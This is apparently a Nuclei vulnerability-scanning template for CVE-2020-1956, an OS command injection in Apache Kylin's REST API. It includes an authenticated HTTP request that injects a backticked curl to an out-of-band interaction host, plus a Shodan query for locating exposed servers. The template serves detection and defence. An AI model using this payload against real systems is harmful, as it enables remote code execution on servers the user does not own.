60 lines
2.2 KiB
YAML
60 lines
2.2 KiB
YAML
id: CVE-2020-1956
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info:
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name: Apache Kylin 3.0.1 - Command Injection Vulnerability
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author: iamnoooob,rootxharsh,pdresearch
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severity: high
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description: |
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Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
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remediation: |
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Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor.
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reference:
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- https://www.sonarsource.com/blog/apache-kylin-command-injection-vulnerability/
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- https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706
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- https://nvd.nist.gov/vuln/detail/CVE-2020-1956
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- http://www.openwall.com/lists/oss-security/2020/07/14/1
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- https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf@%3Ccommits.kylin.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-1956
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cwe-id: CWE-78
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epss-score: 0.97389
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epss-percentile: 0.99889
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cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: apache
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product: kylin
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shodan-query: http.favicon.hash:-186961397
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tags: cve,cve2020,apache,kylin,rce,oast,kev
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variables:
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username: "{{username}}:"
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password: "{{password}}"
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http:
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- raw:
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- |
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POST /kylin/api/user/authentication HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
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- |
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POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- http
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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# digest: 4a0a00473045022100c896a7109d3edbb9bb2f85dc64516bf81a78c64f13d29313c356f6a7d1120c0b0220045a3aa26a4f73eb32355aceea7ef41a72cf5f4d5a2201b5c735d4b9a2e6c906:922c64590222798bb761d5b6d8e72950 |